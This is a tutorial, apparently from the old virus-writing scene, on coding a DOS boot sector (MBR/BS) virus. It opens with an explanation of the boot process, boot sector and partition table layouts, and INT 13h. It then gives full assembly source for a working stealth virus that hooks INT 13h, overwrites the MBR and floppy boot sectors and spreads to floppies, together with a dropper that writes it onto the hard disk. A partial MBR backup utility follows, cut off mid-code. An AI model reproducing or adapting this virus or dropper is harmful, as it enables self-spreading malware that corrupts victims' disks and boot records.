[zz]古老的MBR感染---MBR/BS Infection

1.Introduction
==============

   In my search for knowledge, I found many tutorials out there that were
created to show the user how to code a simple boot sector virus. Although the
tutes were very good in essence, all of them were missing one thing: they
weren't created from a beginner's point of view. So, I had to learn all the
crap alone by disassembling other viruses. It was hard for me back then to
understand those tutorials as it is for some of you now.
   Well, this is my attempt to make you understand how a boot sector virus
works and how can you code one. After reading this tutorial, you'll see that a
boot sector virus is generally easier to code than a COM/EXE infector.


2.Bootup theory
===============

   Most of you have computers, but not quite all of you know what really
happens inside them. This is normal, because not everyone is a computer
engineer. And besides that, maybe not everyone wants to know what happens
there. Well, either way, I will try to explain some things about what happens
when your computer boots up. The bootup process is defined as the computer's
initialization process.
   Before we go into the real stuff, you should know that there are two "ways"
of (re)booting your computer: cold and warm. The cold boot is activated when
you physically switch your computer ON or when you press the Reset button. The
warm boot is usually activated when you press Ctrl+Alt+Del. Both of them act
almost the same, except the fact that the cold boot is first physically
reseting the CPU line and it does some hardware tests and only after that it
boots your computer. So, the warm boot is just a "smaller" cold boot, meaning
that it does almost the same thing except those hardware things. If you would
like a more complete explanation about the hardware bootup process, please
send me an e-mail and I'll hook you up with some nice documentations.

   When your computer boots up, the CPU sets the CS:IP registers to point to
0FFFFh:0000 (address of ROM post code). The ROM POST (Power On Self Test) code
is actually a set of routines that will check the hardware configuration and
will initialize the BIOS data area from 0:0400h. After jumping to CS:IP, the
CPU will start executing the POST code, thus initializing the DMA and the PIC,
and will test your hardware configuration.
   After that, the CPU will execute an Int 19h instruction (bootstrap loader).
   Before executing int 19h, DL will be automatically set to the physical
drive's number where the boot sector is located.

   The boot sector is a 512-bytes (size of 1 sector) record located on track
0, head 0, sector 1 on floppy disks and on the first logical sector of any DOS
partitions.
   The hard disk bootup is a bit different from the floppy one, because a
hard drive can have more than one boot sector. So, I will present the bootup
processes separately for floppy disks and for hard disks.

  A. Diskette (floppy disk) bootup
   --------------------------------

   The BIOS will search for a boot sector on track 0, head 0, sector 1. If
there's no disk in drive A, an error message will be displayed OR if there's a
hard disk installed on the system, the HDD's master boot record will be loaded
(see step B).

   If a floppy disk is in drive A, the first sector of the floppy disk (track
0, head 0, sector 1) will be read into memory at address 0:7C00h. Then, this
boot sector will be checked if it's a valid one, by comparing the last two
bytes (offset 1FEh) of the sector with 55AAh. If the boot sector is valid, the
BIOS will pass control to it. If not, an error message will be displayed, and
the user will be prompted to insert a bootable floppy disk in drive:

          No system disk or disk error
          Replace and press any key when ready


   B. Hard disk bootup
   -------------------

   Unlike floppy disks, a hard drive can have more then one boot sector,
because a hard drive can be partitioned. The (1st) partition table is an array
of 64 bytes located at offset 1BEh in the Master Boot Record (on track 0, head
0, sector 1).

   A hard disk can be divided (theoretically) into 1 to 4 partitions. This is
certanly very helpfull for those who want to use other operating systems
(besides DOS) on their computers. Each partition contains a boot sector on its
first logical sector.

   When the computer boots up on a hard drive, the first sector (track 0, head
0, sector 1) on the hard disk will be read into memory at 0:7C00h. This sector
should contain a master bootstrap loader and a partition table. After loading
the MBR (master boot record) into memory, the master bootstrap loader will
examine the partition table. If one of the entries from the partition table
indicates an active (bootable) partition, its boot sector will be read into
memory and the system initialization will pass control to it.

   If none of the partitions is bootable, the computer will go into ROM BASIC
or it will display a "DISK ERROR" message. If any of the boot indicators are
invalid or if more then one indicator is marked as bootable, the system will
display an "INVALID PARTITION TABLE" message and it will hang. If the
partition's boot record can't be read within five retries, an "ERROR LOADING
OPERATING SYSTEM" message will be displayed and the system will hang. Also,
if the partition's boot record doesn't contain a valid signature (55AAh), an
"MISSING OPERATING SYSTEM" message will be displayed and the system will also
hang.

   If none of the above things happens (phewww... ;), then I guess something
went wrong and you should keep restarting your system till you get an "CPU
internal error" or something... hehehe...=) (JOKEEE! :)
   Neah... seriously now... if the partition table looks okay, the first
logical sector of the active partition will be read into memory and the control
will be given to it.


3.Boot sectors, partition tables, etc...
========================================

   Since I told you so many things about boot sectors and partition tables
it would be really nice (in my humble opinion ;) if I would tell you now how
"they" actually look... :)

   So, here's the structure of the boot sector:
.--------.------.-----------------------------------------------------------.
| Offset | Size | Description                                               |
.--------.------.-----------------------------------------------------------.
|   0h   |  3   | Jump to executable code:                                  |
|        |      |  - for DOS 2.x, 3 byte near jump (0E9h)                   |
|        |      |  - for DOS 3.x, 2 byte near jump (0EBh) + NOP (90h)       |
.--------.------.-----------------------------------------------------------.
|   3h   |  8   | OEM company name and version (eg. 'MSDOS5.0')             |
.--------'------'-----------------------------------------------------------.
|               .--> Start of BIOS Parameter Block (BPB) and of Extended BPB|
.--------.------.-----------------------------------------------------------.
|   0Bh  |  2   | Bytes per sector (SectSize)                               |
.--------.------.-----------------------------------------------------------.
|   0Dh  |  1   | Sectors per allocation unit - cluster (ClustSize)         |
.--------.------.-----------------------------------------------------------.
|   0Eh  |  2   | Reserved sectors (sectors before 1st FAT)                 |
.--------.------.-----------------------------------------------------------.
|   10h  |  1   | Number of File Allocation Tables (FATs)                   |
.--------.------.-----------------------------------------------------------.
|   11h  |  2   | Maximum number of root directory entries (32 bytes each)  |
.--------.------.-----------------------------------------------------------.
|   13h  |  2   | Total number of sectors in media.If the logical disk size |
|        |      |is greater then 32MB, this value is 0 and the actual size  |
|        |      |is reported at offset 26h (DOS 4.0+)                       |
.--------.------.-----------------------------------------------------------.
|   15h  |  1   | Media descriptor byte (same as 1st byte in FAT)           |
.--------.------.-----------------------------------------------------------.
|   16h  |  2   | Number of sectors in one FAT                              |
.--------'------.-----------------------------------------------------------.
|               '----> End of BIOS Parameter Block (BPB)                    |
.--------.------.-----------------------------------------------------------.
|   18h  |  2   | Sectors per track (cylinder)                              |
.--------.------.-----------------------------------------------------------.
|   1Ah  |  2   | Number of read/write heads                                |
.--------.------.-----------------------------------------------------------.
|   1Ch  |  2   | Hidden sectors LOword (partitions < 32MB)                 |
.--------'------'-----------------------------------------------------------.
|                       Extended DOS v4.0+ Boot Record                      |
.--------.------.-----------------------------------------------------------.
|   1Eh  |  2   | Hidden sectors HIword (partitions > 32MB)                 |
.--------.------.-----------------------------------------------------------.
|   20h  |  4   | Total number of sectors in this disk (partitions > 32MB)  |
.--------'------.-----------------------------------------------------------.
|               '----> End of Extended BIOS Parameter Block (EBPB)          |
.--------.------.-----------------------------------------------------------.
|   24h  |  2   | Physical drive number (0=floppy, 80h=hard disk)           |
.--------.------.-----------------------------------------------------------.
|   26h  |  1   | Extended boot record signature (29h)                      |
.--------.------.-----------------------------------------------------------.
|   27h  |  4   | Volume serial number                                      |
.--------.------.-----------------------------------------------------------.
|   2Bh  |  11  | Volume label                                              |
.--------.------.-----------------------------------------------------------.
|   36h  |  8   | File System ID (eg. 'FAT12   ','FAT16   ',...,'reserved') |
.--------.------.-----------------------------------------------------------.
|   3eh  |  450 | Boot code & data                                          |
'--------'------'-----------------------------------------------------------'

   Let's see now what is the master boot record's (on short MBR) structure:

              .--------.------.------------------------------.
              | Offset | Size |         Description          |
              .--------.------.------------------------------.
              |   0h   | 446  | Master bootstrap loader code |
              .--------.------.------------------------------.
              |  1BEh  |  16  | Partition 1 entry            |
              .--------.------.------------------------------.
              |  1CEh  |  16  | Partition 2 entry            |
              .--------.------.------------------------------.
              |  1DEh  |  16  | Partition 3 entry            |
              .--------.------.------------------------------.
              |  1EEh  |  16  | Partition 4 entry            |
              .--------.------.------------------------------.
              |  1FEh  |   2  | 55AAh signature              |
              '--------'------'------------------------------'

   The partition record is an 16-byte array. Here is its structure:
           .--------.------.------------------------------------.
           | Offset | Size |            Description             |
           .--------.------.------------------------------------.
           |   0h   |   1  | Boot indicator                     |
           .--------.------.------------------------------------.
           |   1h   |   1  | Beginning head                     |
           .--------.------.------------------------------------.
           |   2h   |   1  | Beginning sector                   |
           .--------.------.------------------------------------.
           |   3h   |   1  | Beginning cylinder (track)         |
           .--------.------.------------------------------------.
           |   4h   |   1  | Operating system indicator         |
           .--------.------.------------------------------------.
           |   5h   |   1  | Ending head                        |
           .--------.------.------------------------------------.
           |   6h   |   1  | Ending sector                      |
           .--------.------.------------------------------------.
           |   7h   |   1  | Ending cylinder (track)            |
           .--------.------.------------------------------------.
           |   8h   |   4  | Nr. of sectors preceding partition |
           .--------.------.------------------------------------.
           |  0Ch   |   4  | Length of partition in sectors     |
           '--------'------'------------------------------------'

   The Boot indicator is 0 if the partition isn't bootable and 80h if the
partition is bootable. Note: if more than one partition have the boot indicator
set to 80h, the system will hang (read the "error list" above).

   The Operating System indicator is a 1 byte value which holds the current
installed operating system. There's no point in writing the whole list (256
values) here. The most important ones are:
   0 - unknown operating system
   1 - DOS 12 bit FAT
   4 - DOS 16 bit FAT (up to 32 MB)
   5 - DOS Extended partitions (DOS 3.3+)
   6 - DOS 3.31+ Large File System  (16 bit FAT, over 32 MB)

   The other values are assigned to other operating systems like XENIX, OS/2,
AIX, Windows95, Novell, CP/M, Linux + many, many others...


4.Boot sector viruses
=====================

   A boot sector virus is a virus that infects the boot sector of floppy disks
and in most cases the master boot record of hard disks. It usually spreads via
floppy disks. An uninfected computer can get infected by booting from an
infected floppy disk. There IS NO OTHER WAY a simple boot virus can infect a
computer (except of course by using a dropper program).
   Besides the basic boot sector virus that only infects the MBR/BS of disks,
there are also viruses wich besides infecting MBR/BS are also able to infect
regular COM/EXE programs.
  These kind of viruses are called "multipartite". They are very dangerous,
because unlike a simple boot virus, they can also spread on uninfected
computers by executing an infected EXE/COM program. I shall not discuss
multipartite viruses just for the simple fact that if you are able to code
both a COM/EXE infector and a MBR/BS one, you can easily do them both in one
piece. There's no big deal in coding one. You'll see that i'm right... in
time... :)

   The infection tehnique of boot sector viruses, as in any other viruses, can
look quite different from one virus to another. It all depends on the
programmer's originality and knowledge.

   So, basically, an uninfected computer can become infected only by booting
from an already infected floppy disk. There are 3 major steps in the process
of infecting the hard disk's Master Boot Record:

.--.
-'  '> user boots from an infected floppy disk and the virus gets executed

-----> the virus will save the original MBR of hard disk and will replace the
       MBR with a copy of the virus

-.  .> the virus will execute the original MBR and the system will continue to
'--'  initialize, BUT the virus will be active in memory

   After that, the computer's hard disk will be infected with the virus. Then,
every floppy disk accessed SHOULD become infected.


5.Let's code
============

   As I told you before, the BIOS data area (0:400h) is being initialized when
the system boots up. This could be very important for our virus, because you
can find the total amount of conventional memory available on your computer at
0:413h. In most of the cases, this value is equal to 655.360 (640Kb*1024). Note
that Int 12h returns the same value in AX.

   One of the most important things you need to know is that you CAN NOT use
DOS interrupts AT ALL while coding a boot sector virus. Why? Simple... because
the DOS kernel (IO/MSDOS.SYS) isn't loaded yet.So, you wont be able to call int
21h or other DOS interrupts in your virus. You can only use the basic BIOS
interrupts from 0h to 1fh. There are also some other BIOS interrupts you can
use too, but they aren't too important right now. Note that the stack used by
boot sectors is equal 0:07C00h, so SS:SP should be set to it on entry.

   Since we can't use DOS interrupts in our virus, we must find a way to write
our virus to disk somehow. So, instead of the now popular 40h/int 21h function
we will use the Int 13h (Disk Intput/Output) interrupt.
   Before I go any further, I shall present a bit the INT 13h subfunctions,
because you can't code a boot sector virus without knowing some things about
INT 13h. The most important INT 13h subfunctions are:

     AH     Subfunction
     --     -----------
     00h    Reset/recalibrate controller
     01h    Get status of last operation
     02h    Read sectors
     03h    Write sectors
     04h    Verify sectors
     05h    Format track
     08h    Get drive parameters
     09h    Initialize drive parameters tables
     0Ah    Read long sectors
     0Bh    Write long sectors
     0Ch    Seek cylinder
     0Dh    Alternate disk reset
     0Eh    Read sector buffer
     0Fh    Write sector buffer
     10h    Check if a drive is ready
     11h    Recalibrate drive
     12h    Controller RAM diagnostics
     13h    Drive diagnostics
     14h    Controller internal diagnostics
     15h    Read disk type
     16h    Read change-of-disk status
     17h    Set diskette type

   In our virus, we're only going to use subfunction 02h (read sectors) and
subfunction 03h (write sectors).

   -> Subfnct 02h - Read sectors
   Input: AH=02h
          AL=number of sectors to read
          CH=track (cylinder) number (0-n) - low eight bits
          CL=sector number (1-n)
          DH=head number
          DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
          ES:BX -> buffer to store the read data
   Output:
          CF set on error, and error code is passed in AH
          CF clear if successful
          AL=number of sectors read

   -> Subfnct 03h - Write sectors
   Input: AH=03h
          AL=number of sectors to write
          CH=track (cylinder) number (0-n) - low eight bits
          CL=sector number (1-n)
          DH=head number
          DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
          ES:BX -> buffer to write to disk
   Output:
          CF set on error, and error code is passed in AH
          CF clear if successful
          AL=number of sectors writen

   A boot sector virus can be divided into 3 parts: the part that actually
installs the virus in memory and grabs the Int 13h, the INT 13h handler and the
infection and/or stealth part.

  A. Virus installation
  ---------------------
   This can be done in several ways, one better than another. Many virus
writers prefere to infect the boot sector when they are installing the virus
in memory. Others just install the virus and choose to infect the boot sector
when INT 13h is called. I will present the second case, since it's much easier
to understand. Then, when you'll grow up you can do it as you wish! :)
   The steps in installing the virus in memory are:
   -> Allocate memory for your virus, and then copy the virus there
   -> Modify the INT 13h interrupt vector with your own handler
   -> Return control to the original boot sector

   Okay... now let's take each step separately...

      1) Allocate memory for your virus, and then copy the virus there
      ----------------------------------------------------------------
   Since we're talking about boot stuff here, I must tell you again that you
can not use any DOS stuff. And that includes MCBs (Memory Control Block) too.
There's no such thing as MCB or PSP or anything else there. That means that
you can't allocate memory as a normal file infector does.
   Well, the only way to allocate memory for your virus, is to decrease the
TOM (Top Of Memory). You can find the total size of memory at 0:413h (BIOS
data area). Usually, this value is equal to 640 Kb. So, all you have to do is
to subtract the amount of memory you need from there.
   But before you allocate anything, it would be very wise to set the stack
(SS:SP) to 0:7C00h, because the stack used by boot sectors is always equal to
that value.
   So, you have stolen 1 Kb of memory from TOM. All you have to do now is to
find the segment of the address where you're gonna copy your virus. This can
be done very easily. You must get first the new size of memory which should be
639 Kb if you subtracted 1 KB, and then you must convert the value in
paragraphs. A paragraph is a 16-byte block of memory (2^4). The memory size
is stored in KBytes, and 1 KByte=1024 Bytes (2^10). So all you have to do in
order to get the segment is to shift the new value with 6 (or to divide it
with 2^6). Then, put the result in ES, set DS:SI to the beginning of your
virus and then do a rep movsX (Byte, Word, Dword). The virus will be copied
in memory.

   Here's some code for what I just said:

;set the stack to 0:7C00h
install_virus:                         ;simple label
   xor ax,ax                           ;clear AX
   cli                                 ;disable interrupts
   mov ss,ax                           ;SS=0
   mov sp,7C00h                        ;SP=7C00h
   sti                                 ;enable interrupts
;decrease the TOM with 1Kb
   mov ds,ax                           ;DS=0
   dec word ptr ds:[413h]              ;subtract 1 Kb of memory
   mov ax,word ptr ds:[413h]           ;get the new value (should be=639 Kb)
                             ;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
   mov cl,6
   shl ax,cl                           ;convert from kilobytes to paragraphs
   mov es,ax                           ;ES is now equal to the new segment
   mov si,7C00h                        ;DS:SI=0:7C00h (beginning of virus)
   xor di,di                           ;ES:DI=ES:0
   mov cx,256                          ;how many bytes to copy
   cld
   rep movsw                           ;copy CX*2 bytes from DS:SI to ES:DI

   Since your virus is copied in memory, you can now easily jump there, coz
there's nothing really you can still do here. Example:

   push es                             ;save the new segment on stack
   lea ax,[inmemory]
   push ax                             ;save the offset where to jump
   retf                                ;jump to our virus in memory
inmemory:
; .... modify the INT 13h interrupt vector... etc

        2) Modify the INT 13h interrupt vector with your own handler
        ------------------------------------------------------------
   Now your virus should be in memory. To activate it, you must set the INT
13h vector to point to your handler. This way, everytime INT 13h gets called,
you'll be the first to know... ;)
   An example of how can you modify the vector is:

;ES must hold the new segment and DS must be equal to 0
   mov ax, word ptr ds:[13h*4]         ;get the original int 13h entrypoint
   mov word ptr cs:[old_13h], ax       ;and save it into our variable
   mov ax, word ptr ds:[13h*4+2]
   mov word ptr cs:[old_13h+2], ax

   mov word ptr ds:[13h*4+2],es        ;set the segment
   lea ax,myint13h                     ;set the new interrupt handler to
   mov word ptr ds:[13h*4], ax         ;point to "myint13h"


                3) Return control to the original boot sector
                ---------------------------------------------
   Since we're going to stealth our virus, the easier way to execute the
original boot sector is to perfom an Int 19h.
   The 19h interrupt will read the first sector of drive (specified in DL) in
memory into address 0:7C00h and then it will transfer the control there. For
reading the first sector located on track 0, head 0 into memory, Int 19h makes
use of Int 13h's read subfunction (AH=2). Since our virus has already modified
the Int 13h offset to point to our interrupt handler, it will intercept this
read call aswell.
   Our virus will first verify if the sector has already been infected. If it
hasn't, the virus will first read the uninfected boot sector in memory (thus
not screwing things up) and then it will infect the boot sector.
   If the sector is infected with our virus, then our stealth routine will
redirect the read call to the original MBR/BS which in turn will be loaded into
0:7C00h and then executed there. This way, everything will go according to
our plans.
   Note that the Int 19h DOESN'T clear the memory! It just reboots the
computer...


  B. The INT 13h handler
  ----------------------
   This is one of the most important parts of your virus. You have to do some
subfunction checking here in order to know exactly when to infect and when to
stealth your virus. An example should look like this:

myint13h:
   cmp dh,0                            ;check if head 0
   jne exit_handler
   cmp cx,1                            ;check if sector 1 and track 0
   jne exit_handler
   cmp ah,2                            ;read from sector 1 ?
   jne exit_handler
   call int13                          ;fake the call
   jnc read_call                       ;if no error, jump to our code
exit_handler:
   db 0eah                             ;else jump to the original Int 13h
old_13h dd ?

   After checking for the read call (to 0,0,1), the virus will fake a int 13h
call. This way, the buffer from ES:BX will be filled up with the sector that
was read. If the read was successfull, then we jump to our infection/stealth
procedure... if not, we jump back to the original vector.

   Here is a piece of code that will fake an int 13h call:

int13:
   pushf                               ;push flags on stack
   call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
   ret                                 ;return to the caller


  C. Infection/Stealth procedures
  -------------------------------
   Here is the part that actually MULTIPLIES/HIDES your virus.

   Before explaining the true infection routine, I must take a break to tell
you some <other> things about boot sectors. There are several free spaces on
your hard drive where you can store the original boot sector. There are some
free sectors at head 0, track 0, from sector 2 upwards. You could also store
the original boot sector at the end of your HDD, because there are very small
chances that you'll fill up the WHOLE hdd. Another smart thing to do would be
to choose a sector on the drive, copy the original stuff there, and then mark
the sector as bad from FAT.

   SO, how will we infect? Well... again... there are more than one way to
do it. As usual, I'll choose the easier one: we'll replace the boot sector
with our virus and we'll save the original boot sector somewhere else on
disk. Then, when someone asks for it, we'll intercept the read function and
we'll stealth our virus by showing the user the original sector.

   Since we'll replace the whole MBR, it's obvious that the partition table
from 1BEh will be overwriten by our virus and the hard disk won't be
accessible when booted from a clean diskette. The HDD will only work when the
virus is resident in memory. Almost the same thing goes for floppy disks. The
difference is that we have to make the floppy disks work on uninfected systems
too, coz if they don't, the virus won't spread anymore. The important stuff
from a boot sector are those 3Ch bytes, from offset 2 to 3Eh. So, we must save
them in our virus (of course, at the same offsets). Basically, an infected boot
sector should look like this:

                  .--------.------.-------------------------.
                  | Offset | Size |      Description        |
                  .--------.------.-------------------------.
                  |   0    |   2  | Jmp short to viral code |
                  |   2    |  3Ch | Boot (saved) stuff      |
                  |   3Eh  |  450 | Viral code              |
                  '--------'------'-------------------------'

   If you look again at the Int 13h interrupt handler, you will see that I
choosed to "do something" only when a read call to head 0, track 0, sector 1
has been made. This is very effective and easy to understand, BUT later when
you will create your own boot virus, I suggest you to "intercept" and work with
other int 13h functions aswell (write, verify...).

   The fake call from the int 13h handler will fill the buffer from ES:BX with
the first sector of the drive. Now here begins the real thing...

   First we save the ES:BX (and other registers too) because they are all going
to be modified later. We will of course, restore them right before we exit
from our infection/stealth procedure.

   pushf                               ;save everything on stack
   pusha
   push ds es


   Then we must check if the read sector is already infected with our virus.
If the sector is already infected, there's no need for us to infect again. We
will just stealth the sector by reading the original MBR/BS in memory.If the
sector isn't infected we'll infect it.
   For checking if the sector has already been infected, we can simply use a
string identifier in our virus. Example:

vmark  db 'VDaemon'

   ....
   cmp word ptr es:[bx+offset vmark],'DV'   ;check to see if infected
   je stealth                          ;already infected => stealth
   jmp infect                          ;not infected => infect it

   Now let's go back to what I said earlier about saving those 3Ch bytes in
our virus. This can be done very easy by reading the original boot sector
to a free zone and then by copying the important bytes from it to our virus.

;first we set up the DS and ES registers to point to the Code Segment
   push cs cs
   pop ds es                           ;DS=ES=CS

;Our virus begins at CS:0 and ends at CS:512, so the original MBR/BS will be
;read right after our virus in memory. This way, the MBR/BS will start at
;CS:512 and it will end at CS:1024
;note that CL=1,CH=0,DH=0
   mov bx,512                          ;put it in CS:512
   mov ax,201h                         ;read one sector
   call int13                          ;do it

;now we copy those 3Ch bytes from CS:514 (offset 2 of the original BS) to
;CS:2 (offset 2 of our virus)
   mov cx,3ch                          ;copy 3ch bytes
   mov si,514                          ;from CS:514
   mov di,2                            ;to CS:2
   cld                                 ;clear direction flag
   rep movsb                           ;move from DS:SI to ES:DI

   Since we will copy the bytes to offset 2 in our virus, it's quite obvious
that we MUST have a free zone there. In other words, our virus must look like
this:

begin:                                 ;here begins our virus
   jmp short install_virus             ;jump to the real viral body (2 bytes)
   db 3ch dup (0)                      ;buffer used for saving the floppy stuph
install_virus:
   ...

   Now our buffer is filled up and we can continue our infection process. Since
ES:BX still points to the original MBR/BS (read in CS:512), we can now write
the original sector to disk. But in order to do that, we must first find a
free place to store it.
   Again, this can be done in many ways (see above), but because I want to
keep things as easier as possible to understand, I'll just use sector 2 for
storing the hard disk's MBR (head 0, track 0, sector 2) and sector 14 (head 0,
track 1, sector 14) for floppy disk's BS. Since the two sectors are located
in different places, we must check out on what kind of disk are we working.
In other words, we must check on what disk is the read call being made. Here's
the code:

   mov cx,2                            ;original MBR in sector 2
   cmp dl,79h                          ;check if hard drive
   ja hard_disk                        ;DL>79h => hard disk, else floppy disk
   mov dh,1                            ;original BS in head 1
   mov cx,14                           ;... sector 14
hard_disk:
   ...

   Now that we have the original MBR/BS at CS:512 and the sector to write to
in CX, we can write it to disk.

;CX, DX and ES:BX must contain the sector (track, head) and the address of the
;buffer where we read the original MBR/BS in memory
   mov ax,301h                         ;write the original MBR/BS
   call int13                          ;write it to disk

   Everything has been done and the BIG moment has arrived. All that's left to
be done is to write our virus to 0,0,1 (head 0, track 0, sector 1) over the
old MBR/BS.

   xor bx,bx                           ;from CS:0
   xor dh,dh                           ;to head 0
   mov cx,1                            ;track 0, sector 1
   mov ax,301h                         ;write our virus
   call int13

   Now we will restore the previous saved registers and we will exit our
procedure with a retf 2 instruction. Why 'retf 2'? Easy... Because we have to
make a double pop from stack. Here's the explanation:
   First, look at our int13h procedure:
int13:
   pushf                               ;push flags on stack
   call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
   ret                                 ;return to the caller

   As you can see, we first save the flags on stack. That's the FIRST push we
make. The SECOND one is made by the call function itself. Normally, everything
goes as usual in a call - ret cicle. Here we don't have that ret, because the
exit from the interrupt handler is made via an IRET instruction. This way, we
are stucked just with the call.

   pop es ds                           ;pop everything from the stack
   popa
   popf
   retf 2                              ;free the stack


   This is how the infection procedure must look like. Now let's talk about
the stealth part...
   The stealth part is much easier to understand, because all that we have
to do is to read the original sector in memory (thus overwritting the ES:BX).
   First we must check on what sector the original MBR/BS is stored...

   mov cx,2                            ;original MBR in sector 2
   cmp dl,79h                          ;check if hard drive
   ja hard_disk                        ;DL>79h => hard disk, else floppy disk
   mov dh,1                            ;original BS in head 1
   mov cx,14                           ;... sector 14
hard_disk:

   As you can see, this looks exactly the same as the one from the infection
part.
   Now all that's left to be done is to read the sector in memory using int
13h's read subfunction.

   mov ax,201h                         ;read the original MBR/BS in memory
   call int13


   Well, this is IT! :) Wasn't that hard to understand, was it?
   Now let's put it all together....

;  ----------- cut here -----------
;  Boot sector virus example
;  coded by Virtual Daemon/SLAM for the MBR/BS infection tutorial
;
;  Compile it with: tasm /m example.asm | tlink /x example.obj
;                   exe2bin example.exe
;  and then use the dropper program located at the end of the virus
;
.286
.model tiny
.code
   org 0
begin:                                 ;here begins our virus
   jmp short install_virus             ;jump to the real viral body (2 bytes)
   db 3ch dup (0)                      ;buffer used for saving the floppy stuph
install_virus:
   xor ax,ax                           ;clear AX
   cli                                 ;disable interrupts
   mov ss,ax                           ;SS=0
   mov sp,7C00h                        ;SP=7C00h
   sti                                 ;enable interrupts
;decrease the TOM with 1Kb
   mov ds,ax                           ;DS=0
   dec word ptr ds:[413h]              ;subtract 1 Kb of memory
   mov ax,word ptr ds:[413h]           ;get the new value (should be=639 Kb)
                             ;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
   mov cl,6
   shl ax,cl                           ;convert from kilobytes to paragraphs
   mov es,ax                           ;ES is now equal to the new segment
   mov si,7C00h                        ;DS:SI=0:7C00h (beginning of virus)
   xor di,di                           ;ES:DI=ES:0
   mov cx,256                          ;how many bytes to copy
   cld
   rep movsw                           ;copy CX*2 bytes from DS:SI to ES:DI

   push es                             ;save the new segment on stack
   lea ax,[inmemory]
   push ax                             ;save the offset where to jump
   retf                                ;jump to our virus in memory
inmemory:
   mov ax, word ptr ds:[13h*4]         ;get the original int 13h entrypoint
   mov word ptr cs:[old_13h], ax       ;and save it into our variable
   mov ax, word ptr ds:[13h*4+2]
   mov word ptr cs:[old_13h+2], ax

   mov word ptr ds:[13h*4+2],es        ;set the segment
   lea ax,myint13h                     ;set the new interrupt handler to
   mov word ptr ds:[13h*4], ax         ;point to "myint13h"

   int 19h                             ;reboot with the virus in memory

myint13h:
   cmp dh,0                            ;check if head 0
   jne exit_handler
   cmp cx,1                            ;check if sector 1 and track 0
   jne exit_handler
   cmp ah,2                            ;read from sector 1 ?
   jne exit_handler
   call int13                          ;fake the call
   jnc read_call                       ;if no error, jump to our code
exit_handler:
   db 0eah                             ;else jump to the original Int 13h
old_13h dd ?

read_call:
   pushf                               ;save everything on stack
   pusha
   push ds es

   cmp word ptr es:[bx+offset vmark],'DV'   ;check to see if infected
   je stealth                          ;already infected => stealth
                                       ;not infected => infect it
   push cs cs
   pop ds es                           ;DS=ES=CS

   mov bx,512                          ;put it in CS:512
   mov ax,201h                         ;read one sector
   call int13                          ;do it

   mov cx,3ch                          ;copy 3ch bytes
   mov si,514                          ;from CS:514
   mov di,2                            ;to CS:2
   cld                                 ;clear direction flag
   rep movsb                           ;move from DS:SI to ES:DI

   call choose_sector
   mov ax,301h                         ;write the original MBR/BS
   call int13                          ;write it to disk

   xor bx,bx                           ;from CS:0
   xor dh,dh                           ;to head 0
   mov cx,1                            ;track 0, sector 1
   mov ax,301h                         ;write our virus
   call int13
   jmp short exit
stealth:
   mov ax,201h                         ;read the original MBR/BS in memory
   call choose_sector
   call int13
exit:
   pop es ds                           ;pop everything from the stack
   popa
   popf
   retf 2

choose_sector:
   mov cx,2                            ;original MBR in sector 2
   cmp dl,79h                          ;check if hard drive
   ja hard_disk                        ;DL>79h => hard disk, else floppy disk
   mov dh,1                            ;original BS in head 1
   mov cx,14                           ;... sector 14
hard_disk:
   ret

int13:
   pushf                               ;push flags on stack
   call dword ptr cs:[old_13h]         ;call the original entrypoint of int 13h
   ret                                 ;return to the caller

vmark  db 'VDaemon'                    ;virus signature
   org 1feh                            ;1feh=510=(512-word)
   db 055h,0aah                        ;boot signature
end begin
;  ----------- cut here -----------

   And here goes a little dropper for the virus...
;  ----------- cut here -----------
; tasm dropper.asm | tlink /x /t dropper.obj
;
.model tiny
.code
   org 100h
start:
;read the original MBR in memory
   mov ax,201h
   mov dx,80h
   mov cx,1
   push cs
   pop es
   lea bx,after_end
   int 13h
;write the original MBR to disk (0,0,2)
   mov dx,80h
   mov cx,2
   mov ax,301h
   lea bx,after_end
   int 13h
;read the virus from file
   mov ax,3d00h
   lea dx,virus_sample
   int 21h
   xchg bx,ax
   mov ah,3fh
   lea dx,after_end
   mov cx,512
   int 21h
   mov ah,3eh
   int 21h
;write the virus to disk (0,0,1)
   mov dx,80h
   mov ax,301h
   lea bx,after_end
   mov cx,1
   int 13h
;exit to operating system
   mov ax,4c00h
   int 21h
virus_sample db 'example.bin',0
after_end:
end start
;  ----------- cut here -----------

6.Saving/restoring the MBR
==========================

   Okay now... There are some other important things we need to talk about.
Some of you will still be scared after reading this tutorial: "Wha? No way
man... I'm not gonna try to make no fuckin' BS virus. Stupid Virtual Daemon...
what if I wont be able to recover my disk afterwards? What's going to happen
if I'll erase my MBR by mistake?"
   Well, you must feel lucky because I haven't forgoten to mention some things
about it on this crappy tutorial. So, in order to help you with your problems
I "created" a lame program who will save/restore the MBR/BS of your hard disk.
So, whoooa...:) This is like a backup for your boot sector/partition table =)

   The program needs a parameter: either '0' for saving the MBR/BS of the
first hard disk into a file (BOOTPART.CAP), either '1' for restoring the old
copy of the MBR/BS (from BOOTPART.CAP).

   Use tasm/tlink to compile it.
--< cut here >--
.286
.model tiny
.code
   org 100h
start:
   mov ah,62h                           ;get the current PSP address
   int 21h
   mov es,bx                            ;ES=seg of PSP for current process
   mov al,byte ptr es:82h               ;point to the DOS command line
   cmp al,'0'                           ;if 1st param='0' then save everything
   je read_save_all
   cmp al,'1'                           ;else, restore everything
   je write_restore_all

   push cs                              ;if no param entered, display err msg
   pop ds
   mov ah,9
   lea dx,params
   int 21h
exit:
   mov ax,4c00h                         ;and exit...
   int 21h

read_save_all:
   push cs cs
   pop ds es                            ;es=ds=cs

   mov ah,3ch                           ;create a new file
   xor cx,cx                            ;normal file even
   lea dx,filename                      ;'bootpart.cap' is its name :)
   int 21h
   jnc r_continue
r_error:
   mov ah,9                             ;error creating 'bootpart.cap'
   lea dx,createrr
   int 21h
   jmp exit
r_continue:
   xchg bx,ax                           ;handle in BX

   mov dh,0                             ;read the Master Boot Record of 1st HDD
   call readsector

   mov ah,40h                           ;write it to our file
   lea dx,buffer
   mov cx,512
   int 21h
   jc r_error                           ;if error, exit

   mov dh,1                             ;read the Boot Sector of 1st HDD
   call readsector

   mov ah,40h                           ;write it to our file
   lea dx,buffer
   mov cx,512
   int 21h
   jc r_error                           ;if error, exit

   mov ah,3eh                           ;close the file
